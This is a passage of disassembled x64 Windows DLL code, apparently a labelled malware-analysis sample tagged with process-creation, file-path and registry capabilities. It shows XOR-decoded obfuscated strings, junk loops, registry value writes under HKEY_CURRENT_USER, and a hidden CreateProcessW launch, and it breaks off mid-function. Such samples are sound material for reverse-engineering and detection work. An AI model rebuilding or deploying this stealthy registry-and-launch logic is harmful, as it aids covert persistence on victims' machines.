Function at 0x1800013d0
Capabilities:
Create process on windows
Get common file path
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x350]
sub rsp, 0x450
mov rax, qword [0x180007010]
xor rax, rsp
mov qword [rbp + 0x340], rax
xor r13d, r13d
mov r8d, r13d
lea rdi, [0x180007430]
mov rcx, rdi
lea r15, [0x1800053f0]
nop
movzx edx, word [rcx]
test dx, dx
jne 0x18000142f
cmp word [rcx + 2], r13w
je 0x180001453
mov eax, r8d
and eax, 0x80000007
jge 0x180001440
dec eax
or eax, 0xfffffff8
inc eax
cdqe
xor dx, word [r15 + rax*2]
mov word [rcx], dx
inc r8d
add rcx, 2
jmp 0x180001420
mov qword [rbp + 0x18], r13
mov qword [rbp + 0x28], r13
mov qword [rbp + 0x30], 7
mov word [rbp + 0x18], r13w
mov r14, 0xffffffffffffffff
mov rdx, r14
inc rdx
cmp word [rdi + rdx*2], 0
jne 0x180001472
lea rcx, [rbp + 0x18]
cmp rdx, 7
ja 0x1800014a1
mov qword [rbp + 0x28], rdx
lea rbx, [rdx + rdx]
mov r8, rbx
mov rdx, rdi
call sub.VCRUNTIME140.dll_memmove
mov word [rbp + rbx + 0x18], r13w
jmp 0x1800014ad
lfence
mov r9, rdi
call fcn.1800035a0
nop
mov edx, r13d
movzx ecx, word [rdi]
test cx, cx
jne 0x1800014be
cmp word [rdi + 2], cx
je 0x1800014e0
mov eax, edx
and eax, 0x80000007
jge 0x1800014ce
dec eax
or eax, 0xfffffff8
inc eax
cdqe
xor cx, word [r15 + rax*2]
mov word [rdi], cx
inc edx
add rdi, 2
jmp 0x1800014b0
mov qword [rbp + 0x78], r13
mov qword [rbp + 0x88], r13
mov qword [rbp + 0x90], 7
mov word [rbp + 0x78], r13w
mov ebx, r13d
nop
test bl, 3
je 0x18000150f
mov edx, 0xeb
call fcn.1800011d0
inc ebx
cmp ebx, 0x16
jl 0x180001500
mov r11d, r13d
lea r12, [0x1800071e0]
mov eax, 0xaaaaaaab
mul r11d
shr edx, 1
lea ecx, [rdx + rdx*2]
cmp r11d, ecx
je 0x1800015f7
mov r10d, r13d
nop dword [rax]
mov eax, 0x24924925
mul r10d
mov eax, r10d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 2
imul ecx, eax, 7
mov eax, 0xcccccccd
mul r10d
shr edx, 2
lea eax, [rdx + rdx*4]
cmp ecx, eax
jne 0x1800015e7
mov r8d, r13d
mov rcx, r12
nop
movzx edx, word [rcx]
test dx, dx
jne 0x18000157e
cmp word [rcx + 2], dx
je 0x1800015a2
mov eax, r8d
and eax, 0x80000007
jge 0x18000158f
dec eax
or eax, 0xfffffff8
inc eax
cdqe
xor dx, word [r15 + rax*2]
mov word [rcx], dx
inc r8d
add rcx, 2
jmp 0x180001570
mov r9d, r13d
mov rdx, r12
nop dword [rax + rax]
movzx r8d, word [rdx]
test r8w, r8w
jne 0x1800015c1
cmp word [rdx + 2], r8w
je 0x1800015e7
mov eax, r9d
and eax, 0x80000007
jge 0x1800015d2
dec eax
or eax, 0xfffffff8
inc eax
movsxd rcx, eax
xor r8w, word [r15 + rcx*2]
mov word [rdx], r8w
inc r9d
add rdx, 2
jmp 0x1800015b0
inc r10d
cmp r10d, 0x85
jl 0x180001540
inc r11d
cmp r11d, 0x10
jl 0x180001520
mov qword [rbp - 0x68], r13
mov qword [rbp - 0x58], r13
mov qword [rbp - 0x50], 7
mov word [rbp - 0x68], r13w
lea rdx, [rbp + 0x130]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x180001694
lea rax, [rbp + 0x130]
mov rdx, r14
nop dword [rax]
inc rdx
cmp word [rax + rdx*2], 0
jne 0x180001640
mov rax, qword [rbp - 0x50]
cmp rdx, rax
ja 0x180001681
lea rdi, [rbp - 0x68]
cmp rax, 8
cmovae rdi, qword [rbp - 0x68]
mov qword [rbp - 0x58], rdx
lea rbx, [rdx + rdx]
mov r8, rbx
lea rdx, [rbp + 0x130]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + rdi], r13w
jmp 0x180001694
lfence
lea r9, [rbp + 0x130]
lea rcx, [rbp - 0x68]
call fcn.1800035a0
mov r9d, r13d
nop word [rax + rax]
mov eax, 0x24924925
mul r9d
mov eax, r9d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 2
imul ecx, eax, 7
mov eax, 0xcccccccd
mul r9d
shr edx, 2
lea eax, [rdx + rdx*4]
cmp ecx, eax
jne 0x18000173a
mov r8d, r13d
mov rcx, r12
nop
movzx edx, word [rcx]
test dx, dx
jne 0x1800016de
cmp word [rcx + 2], dx
je 0x180001702
mov eax, r8d
and eax, 0x80000007
jge 0x1800016ef
dec eax
or eax, 0xfffffff8
inc eax
cdqe
xor dx, word [r15 + rax*2]
mov word [rcx], dx
inc r8d
add rcx, 2
jmp 0x1800016d0
mov r8d, r13d
mov rcx, r12
movzx edx, word [rcx]
test dx, dx
jne 0x180001716
cmp word [rcx + 2], dx
je 0x18000173a
mov eax, r8d
and eax, 0x80000007
jge 0x180001727
dec eax
or eax, 0xfffffff8
inc eax
cdqe
xor dx, word [r15 + rax*2]
mov word [rcx], dx
inc r8d
add rcx, 2
jmp 0x180001708
inc r9d
cmp r9d, 0x84
jl 0x1800016a0
mov r8d, r13d
lea rdi, [0x180007580]
mov rcx, rdi
movzx edx, word [rcx]
test dx, dx
jne 0x180001765
cmp word [rcx + 2], dx
je 0x180001789
mov eax, r8d
and eax, 0x80000007
jge 0x180001776
dec eax
or eax, 0xfffffff8
inc eax
cdqe
xor dx, word [r15 + rax*2]
mov word [rcx], dx
inc r8d
add rcx, 2
jmp 0x180001757
mov r8d, r13d
lea rbx, [0x1800072b0]
mov rcx, rbx
movzx edx, word [rcx]
test dx, dx
jne 0x1800017a4
cmp word [rcx + 2], dx
je 0x1800017c8
mov eax, r8d
and eax, 0x80000007
jge 0x1800017b5
dec eax
or eax, 0xfffffff8
inc eax
cdqe
xor dx, word [r15 + rax*2]
mov word [rcx], dx
inc r8d
add rcx, 2
jmp 0x180001796
mov r10d, r13d
nop dword [rax + rax]
test r10b, 3
je 0x18000188a
mov r9d, r13d
nop dword [rax]
mov eax, 0x24924925
mul r9d
mov eax, r9d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 2
imul ecx, eax, 7
mov eax, 0xcccccccd
mul r9d
shr edx, 2
lea eax, [rdx + rdx*4]
cmp ecx, eax
jne 0x18000187a
mov r8d, r13d
mov rcx, r12
nop
movzx edx, word [rcx]
test dx, dx
jne 0x18000181e
cmp word [rcx + 2], dx
je 0x180001842
mov eax, r8d
and eax, 0x80000007
jge 0x18000182f
dec eax
or eax, 0xfffffff8
inc eax
cdqe
xor dx, word [r15 + rax*2]
mov word [rcx], dx
inc r8d
add rcx, 2
jmp 0x180001810
mov r8d, r13d
mov rcx, r12
movzx edx, word [rcx]
test dx, dx
jne 0x180001856
cmp word [rcx + 2], dx
je 0x18000187a
mov eax, r8d
and eax, 0x80000007
jge 0x180001867
dec eax
or eax, 0xfffffff8
inc eax
cdqe
xor dx, word [r15 + rax*2]
mov word [rcx], dx
inc r8d
add rcx, 2
jmp 0x180001848
inc r9d
cmp r9d, 0xd3
jl 0x1800017e0
inc r10d
cmp r10d, 0x10
jl 0x1800017d0
mov rcx, r14
nop word [rax + rax]
inc rcx
cmp word [rbx + rcx*2], 0
jne 0x1800018a0
movabs rsi, 0x7ffffffffffffffe
mov rax, rsi
sub rax, qword [rbp - 0x58]
cmp rax, rcx
jb 0x1800026b5
lfence
lea r9, [rbp - 0x68]
cmp qword [rbp - 0x50], 8
cmovae r9, qword [rbp - 0x68]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rbx
mov rax, qword [rbp - 0x58]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x58]
call fcn.180003710
nop
mov edx, r13d
movzx ecx, word [rbx]
test cx, cx
jne 0x180001903
cmp word [rbx + 2], cx
je 0x180001925
mov eax, edx
and eax, 0x80000007
jge 0x180001913
dec eax
or eax, 0xfffffff8
inc eax
cdqe
xor cx, word [r15 + rax*2]
mov word [rbx], cx
inc edx
add rbx, 2
jmp 0x1800018f5
mov edx, r13d
movzx ecx, word [rdi]
test cx, cx
jne 0x180001936
cmp word [rdi + 2], cx
je 0x180001958
mov eax, edx
and eax, 0x80000007
jge 0x180001946
dec eax
or eax, 0xfffffff8
inc eax
cdqe
xor cx, word [r15 + rax*2]
mov word [rdi], cx
inc edx
add rdi, 2
jmp 0x180001928
cmp qword [rbp + 0x28], 5
jb 0x180002594
cmp qword [rbp - 0x58], 5
jb 0x180002594
mov qword [rbp - 0x70], 7
mov qword [rbp - 0x78], 4
movabs rax, 0x6400620073004d
mov qword [rsp + 0x78], rax
mov word [rbp - 0x80], r13w
mov r8d, r13d
lea rbx, [0x180007340]
mov rcx, rbx
nop
movzx edx, word [rcx]
test dx, dx
jne 0x1800019ae
cmp word [rcx + 2], dx
je 0x1800019d2
mov eax, r8d
and eax, 0x80000007
jge 0x1800019bf
dec eax
or eax, 0xfffffff8
inc eax
cdqe
xor dx, word [r15 + rax*2]
mov word [rcx], dx
inc r8d
add rcx, 2
jmp 0x1800019a0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
xor r8d, r8d
mov rdx, rbx
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov edx, r13d
movzx ecx, word [rbx]
test cx, cx
jne 0x180001a06
cmp word [rbx + 2], cx
je 0x180001a28
mov eax, edx
and eax, 0x80000007
jge 0x180001a16
dec eax
or eax, 0xfffffff8
inc eax
cdqe
xor cx, word [r15 + rax*2]
mov word [rbx], cx
inc edx
add rbx, 2
jmp 0x1800019f8
mov r10d, r13d
nop dword [rax + rax]
mov eax, 0x24924925
mul r10d
mov eax, r10d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 2
imul ecx, eax, 7
cmp r10d, ecx
jne 0x180001b0c
mov r9d, r13d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x24924925
mul r9d
mov eax, r9d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 2
imul ecx, eax, 7
mov eax, 0xcccccccd
mul r9d
shr edx, 2
lea eax, [rdx + rdx*4]
cmp ecx, eax
jne 0x180001afa
mov r8d, r13d
mov rcx, r12
nop
movzx edx, word [rcx]
test dx, dx
jne 0x180001a9e
cmp word [rcx + 2], dx
je 0x180001ac2
mov eax, r8d
and eax, 0x80000007
jge 0x180001aaf
dec eax
or eax, 0xfffffff8
inc eax
cdqe
xor dx, word [r15 + rax*2]
mov word [rcx], dx
inc r8d
add rcx, 2
jmp 0x180001a90
mov r8d, r13d
mov rcx, r12
movzx edx, word [rcx]
test dx, dx
jne 0x180001ad6
cmp word [rcx + 2], dx
je 0x180001afa
mov eax, r8d
and eax, 0x80000007
jge 0x180001ae7
dec eax
or eax, 0xfffffff8
inc eax
cdqe
xor dx, word [r15 + rax*2]
mov word [rcx], dx
inc r8d
add rcx, 2
jmp 0x180001ac8
inc r9d
cmp r9d, 0x3b9
jl 0x180001a60
jmp 0x180001b3a
mov eax, 0x38e38e39
mul r10d
shr edx, 1
lea ecx, [rdx + rdx*8]
cmp r10d, ecx
je 0x180001b3a
mov eax, 0xaf286bcb
mul r10d
mov eax, r10d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 4
imul ecx, eax, 0x13
cmp r10d, ecx
je 0x180001b4b
inc r10d
cmp r10d, 0x3e8
jge 0x180001b90
jmp 0x180001a30
mov eax, dword [rbp + 0x28]
lea eax, [rax*2 + 2]
lea rcx, [rbp + 0x18]
cmp qword [rbp + 0x30], 8
cmovae rcx, qword [rbp + 0x18]
lea rdx, [rsp + 0x78]
cmp qword [rbp - 0x70], 8
cmovae rdx, qword [rsp + 0x78]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edi, r13d
movabs r8, 0x73007000790050
lea rbx, str.58_RQt_
lea r12, [0x1800076b0]
nop dword [rax + rax]
mov eax, 0xaaaaaaab
mul edi
shr edx, 1
lea ecx, [rdx + rdx*2]
cmp edi, ecx
jne 0x180001c87
mov r9d, r13d
nop word [rax + rax]
mov eax, 0x24924925
mul r9d
mov eax, r9d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 2
imul ecx, eax, 7
mov eax, 0xcccccccd
mul r9d
shr edx, 2
lea eax, [rdx + rdx*4]
cmp ecx, eax
jne 0x180001c72
mov r8d, r13d
lea rcx, [0x1800071e0]
movzx edx, word [rcx]
test dx, dx
jne 0x180001c11
cmp word [rcx + 2], dx
je 0x180001c35
mov eax, r8d
and eax, 0x80000007
jge 0x180001c22
dec eax
or eax, 0xfffffff8
inc eax
cdqe
xor dx, word [r15 + rax*2]
mov word [rcx], dx
inc r8d
add rcx, 2
jmp 0x180001c03
mov r8d, r13d
lea rcx, [0x1800071e0]
nop
movzx edx, word [rcx]
test dx, dx
jne 0x180001c4e
cmp word [rcx + 2], dx
je 0x180001c72
mov eax, r8d
and eax, 0x80000007
jge 0x180001c5f
dec eax
or eax, 0xfffffff8
inc eax
cdqe
xor dx, word [r15 + rax*2]
mov word [rcx], dx
inc r8d
add rcx, 2
jmp 0x180001c40
inc r9d
cmp r9d, 0x1d3
jl 0x180001bd0
jmp 0x180001ed3
mov eax, 0xf0f0f0f1
mul edi
shr edx, 4
imul ecx, edx, 0x11
cmp edi, ecx
je 0x180001edd
mov eax, 0x3521cfb3
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
imul ecx, eax, 0x35
cmp edi, ecx
je 0x180001ef7
mov eax, 0x8d3dcb09
mul edi
shr edx, 4
imul ecx, edx, 0x1d
cmp edi, ecx
jne 0x180001edd
mov rcx, qword [rbp - 0x70]
cmp rcx, 4
jb 0x180001cf9
lea rax, [rsp + 0x78]
cmp rcx, 8
cmovae rax, qword [rsp + 0x78]
mov qword [rbp - 0x78], 4
mov qword [rax], r8
mov word [rax + 8], r13w
jmp 0x180001d12
lfence
lea r9, str.Pyps
mov edx, 4
lea rcx, [rsp + 0x78]
call fcn.1800035a0
mov r8d, r13d
mov rcx, rbx
movzx edx, word [rcx]
test dx, dx
jne 0x180001d26
cmp word [rcx + 2], dx
je 0x180001d4a
mov eax, r8d
and eax, 0x80000007
jge 0x180001d37
dec eax
or eax, 0xfffffff8
inc eax
cdqe
xor dx, word [r15 + rax*2]
mov word [rcx], dx
inc r8d
add rcx, 2
jmp 0x180001d18
mov r8d, r13d
mov rcx, r12
movzx edx, word [rcx]
test dx, dx
jne 0x180001d5e
cmp word [rcx + 2], dx
je 0x180001d82
mov eax, r8d
and eax, 0x80000007
jge 0x180001d6f
dec eax
or eax, 0xfffffff8
inc eax
cdqe
xor dx, word [r15 + rax*2]
mov word [rcx], dx
inc r8d
add rcx, 2
jmp 0x180001d50
mov qword [rbp + 0x38], r13
mov qword [rbp + 0x48], r13
mov qword [rbp + 0x50], 7
mov rdx, r14
inc rdx
cmp word [r12 + rdx*2], 0
jne 0x180001d95
lea rcx, [rbp + 0x38]
cmp rdx, 7
ja 0x180001dcc
mov qword [rbp + 0x48], rdx
lea rbx, [rdx + rdx]
mov r8, rbx
mov rdx, r12
call sub.VCRUNTIME140.dll_memmove
mov word [rbp + rbx + 0x38], r13w
lea rbx, str.58_RQt_
jmp 0x180001dd7
lfence
mov r9, r12
call fcn.1800035a0
mov eax, dword [rbp + 0x48]
lea eax, [rax*2 + 2]
lea rcx, [rbp + 0x38]
cmp qword [rbp + 0x50], 8
cmovae rcx, qword [rbp + 0x38]
lea rdx, [rsp + 0x78]
cmp qword [rbp - 0x70], 8
cmovae rdx, qword [rsp + 0x78]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov r8d, r13d
mov rcx, rbx
movzx edx, word [rcx]
test dx, dx
jne 0x180001e30
cmp word [rcx + 2], dx
je 0x180001e54
mov eax, r8d
and eax, 0x80000007
jge 0x180001e41
dec eax
or eax, 0xfffffff8
inc eax
cdqe
xor dx, word [r15 + rax*2]
mov word [rcx], dx
inc r8d
add rcx, 2
jmp 0x180001e22
mov r8d, r13d
mov rcx, r12
nop word [rax + rax]
movzx edx, word [rcx]
test dx, dx
jne 0x180001e6e
cmp word [rcx + 2], dx
je 0x180001e92
mov eax, r8d
and eax, 0x80000007
jge 0x180001e7f
dec eax
or eax, 0xfffffff8
inc eax
cdqe
xor dx, word [r15 + rax*2]
mov word [rcx], dx
inc r8d
add rcx, 2
jmp 0x180001e60
mov rdx, qword [rbp + 0x50]
cmp rdx, 8
jb 0x180001ece
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001ec9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180001ef0
call fcn.180003c54
mov word [rbp + 0x38], r13w
movabs r8, 0x73007000790050
inc edi
cmp edi, 0x3e8
jge 0x180001f92
jmp 0x180001bb0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rax, qword [rbp - 0x70]
cmp rax, 6
jb 0x180001f34
lea rbx, [rsp + 0x78]
cmp rax, 8
cmovae rbx, qword [rsp + 0x78]
mov qword [rbp - 0x78], 6
mov r8d, 0xc
lea rdx, str.Temprd
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + 0xc], r13w
jmp 0x180001f4d
lfence
lea r9, str.Temprd
mov edx, 6
lea rcx, [rsp + 0x78]
call fcn.1800035a0
mov eax, dword [rbp + 0x68]
lea eax, [rax*2 + 2]
lea rcx, [rbp + 0x58]
cmp qword [rbp + 0x70], 8
cmovae rcx, qword [rbp + 0x58]
lea rdx, [rsp + 0x78]
cmp qword [rbp - 0x70], 8
cmovae rdx, qword [rsp + 0x78]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x5b
call fcn.1800012d0
mov r8d, r13d
lea rdi, [0x1800074b0]
mov rcx, rdi
movzx edx, word [rcx]
test dx, dx
jne 0x180001fc2
cmp word [rcx + 2], dx
je 0x180001fe6
mov eax, r8d
and eax, 0x80000007
jge 0x180001fd3
dec eax
or eax, 0xfffffff8
inc eax
cdqe
xor dx, word [r15 + rax*2]
mov word [rcx], dx
inc r8d
add rcx, 2
jmp 0x180001fb4
mov qword [rbp - 0x48], r13
mov qword [rbp - 0x38], r13
mov qword [rbp - 0x30], 7
mov word [rbp - 0x48], r13w
mov rdx, r14
nop
inc rdx
cmp word [rdi + rdx*2], 0
jne 0x180002000
lea rcx, [rbp - 0x48]
cmp rdx, 7
ja 0x18000202f
mov qword [rbp - 0x38], rdx
lea rbx, [rdx + rdx]
mov r8, rbx
mov rdx, rdi
call sub.VCRUNTIME140.dll_memmove
mov word [rbp + rbx - 0x48], r13w
jmp 0x18000203b
lfence
mov r9, rdi
call fcn.1800035a0
nop
mov edx, r13d
nop
movzx ecx, word [rdi]
test cx, cx
jne 0x18000204e
cmp word [rdi + 2], cx
je 0x180002070
mov eax, edx
and eax, 0x80000007
jge 0x18000205e
dec eax
or eax, 0xfffffff8
inc eax
cdqe
xor cx, word [r15 + rax*2]
mov word [rdi], cx
inc edx
add rdi, 2
jmp 0x180002040
mov rcx, qword [rbp - 0x70]
cmp rcx, 2
jb 0x18000209e
lea rax, [rsp + 0x78]
cmp rcx, 8
cmovae rax, qword [rsp + 0x78]
mov qword [rbp - 0x78], 2
mov dword [rax], 0x680053
mov word [rax + 4], r13w
jmp 0x1800020b7
lfence
lea r9, [0x18000536c]
mov edx, 2
lea rcx, [rsp + 0x78]
call fcn.1800035a0
mov ecx, 0x1bb
call fcn.1800012d0
mov r8d, r13d
lea rdi, [0x180007640]
mov rcx, rdi
nop
movzx edx, word [rcx]
test dx, dx
jne 0x1800020de
cmp word [rcx + 2], dx
je 0x180002102
mov eax, r8d
and eax, 0x80000007
jge 0x1800020ef
dec eax
or eax, 0xfffffff8
inc eax
cdqe
xor dx, word [r15 + rax*2]
mov word [rcx], dx
inc r8d
add rcx, 2
jmp 0x1800020d0
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x18], r13
mov qword [rbp - 0x10], 7
mov word [rbp - 0x28], r13w
mov rdx, r14
nop word [rax + rax]
inc rdx
cmp word [rdi + rdx*2], 0
jne 0x180002120
lea rcx, [rbp - 0x28]
cmp rdx, 7
ja 0x18000214f
mov qword [rbp - 0x18], rdx
lea rbx, [rdx + rdx]
mov r8, rbx
mov rdx, rdi
call sub.VCRUNTIME140.dll_memmove
mov word [rbp + rbx - 0x28], r13w
jmp 0x18000215b
lfence
mov r9, rdi
call fcn.1800035a0
nop
lea rdx, [rbp - 0x28]
cmp qword [rbp - 0x10], 8
cmovae rdx, qword [rbp - 0x28]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
xor r8d, r8d
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov edx, r13d
nop dword [rax]
movzx ecx, word [rdi]
test cx, cx
jne 0x18000219e
cmp word [rdi + 2], cx
je 0x1800021c0
mov eax, edx
and eax, 0x80000007
jge 0x1800021ae
dec eax
or eax, 0xfffffff8
inc eax
cdqe
xor cx, word [r15 + rax*2]
mov word [rdi], cx
inc edx
add rdi, 2
jmp 0x180002190
sub rsi, qword [rbp - 0x78]
cmp rsi, 3
jb 0x1800026af
lfence
lea r9, [rsp + 0x78]
cmp qword [rbp - 0x70], 8
cmovae r9, qword [rsp + 0x78]
mov qword [rsp + 0x30], 3
lea rax, [0x180005378]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp - 0x78]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x50]
call fcn.180003710
mov rdx, qword [rbp - 0x70]
cmp rdx, 8
jb 0x18000224a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002245
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002479
call fcn.180003c54
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rsp + 0x78], xmm0
movups xmm1, xmmword [rsp + 0x60]
movups xmmword [rbp - 0x78], xmm1
mov qword [rsp + 0x68], 7
mov eax, dword [rbp - 0x38]
lea r8d, [rax*2 + 2]
lea r9, [rbp - 0x48]
cmp qword [rbp - 0x30], 8
cmovae r9, qword [rbp - 0x48]
lea rdx, [rsp + 0x78]
movq rcx, xmm0
psrldq xmm1, 8
movq rax, xmm1
cmp rax, 8
cmovae rdx, rcx
mov dword [rsp + 0x28], r8d
mov qword [rsp + 0x20], r9
mov r9d, 1
xor r8d, r8d
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, 0xe7
call fcn.1800012d0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm0
movups xmmword [rbp + 0xe0], xmm0
movups xmmword [rbp + 0xf0], xmm0
mov qword [rbp + 0x100], rax
mov dword [rbp + 0xa0], 0x68
mov dword [rbp + 0xdc], 1
mov word [rbp + 0xe0], r13w
mov ecx, 0xb1
call fcn.1800012d0
mov r8d, r13d
lea rdi, [0x1800076d0]
mov rcx, rdi
nop dword [rax]
movzx edx, word [rcx]
test dx, dx
jne 0x18000233e
cmp word [rcx + 2], dx
je 0x180002362
mov eax, r8d
and eax, 0x80000007
jge 0x18000234f
dec eax
or eax, 0xfffffff8
inc eax
cdqe
xor dx, word [r15 + rax*2]
mov word [rcx], dx
inc r8d
add rcx, 2
jmp 0x180002330
mov qword [rbp - 8], r13
mov qword [rbp + 8], r13
mov qword [rbp + 0x10], 7
inc r14
cmp word [rdi + r14*2], 0
jne 0x180002372
lea rcx, [rbp - 8]
cmp r14, 7
ja 0x1800023a2
mov qword [rbp + 8], r14
lea rbx, [r14 + r14]
mov r8, rbx
mov rdx, rdi
call sub.VCRUNTIME140.dll_memmove
mov word [rbp + rbx - 8], r13w
jmp 0x1800023b0
lfence
mov r9, rdi
mov rdx, r14
call fcn.1800035a0
mov edx, r13d
movzx ecx, word [rdi]
test cx, cx
jne 0x1800023c1
cmp word [rdi + 2], cx
je 0x1800023e3
mov eax, edx
and eax, 0x80000007
jge 0x1800023d1
dec eax
or eax, 0xfffffff8
inc eax
cdqe
xor cx, word [r15 + rax*2]
mov word [rdi], cx
inc edx
add rdi, 2
jmp 0x1800023b3
mov ecx, 0xdb
call fcn.1800012d0
lea rdx, [rbp - 8]
cmp qword [rbp + 0x10], 8
cmovae rdx, qword [rbp - 8]
lea rax, [rbp + 0x110]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0xa0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x180002442
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, qword [rbp + 0x10]
cmp rdx, 8
jb 0x180002485
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002480
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180002480
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180003c54
mov qword [rbp + 8], r13
mov qword [rbp + 0x10], 7
mov word [rbp - 8], r13w
mov rdx, qword [rbp - 0x10]
cmp rdx, 8
jb 0x1800024d9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800024d4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800024d4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180003c54
mov qword [rbp - 0x18], r13
mov qword [rbp - 0x10], 7
mov word [rbp - 0x28], r13w
mov rdx, qword [rbp - 0x30]
cmp rdx, 8
jb 0x18000252d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002528
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180002528
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180003c54
mov qword [rbp - 0x38], r13
mov qword [rbp - 0x30], 7
mov word [rbp - 0x48], r13w
mov rdx, qword [rbp - 0x70]
cmp rdx, 8
jb 0x180002582
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000257d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000257d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180003c54
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x70], 7
mov word [rsp + 0x78], r13w
mov rdx, qword [rbp + 0x70]
cmp rdx, 8
jb 0x1800025d7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800025d2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800025d2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180003c54
mov qword [rbp + 0x68], r13
mov qword [rbp + 0x70], 7
mov word [rbp + 0x58], r13w
mov rdx, qword [rbp - 0x50]
cmp rdx, 8
jb 0x18000262b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002626
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180002626
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180003c54
mov qword [rbp - 0x58], r13
mov qword [rbp - 0x50], 7
mov word [rbp - 0x68], r13w
mov rdx, qword [rbp + 0x30]
cmp rdx, 8
jb 0x18000267f
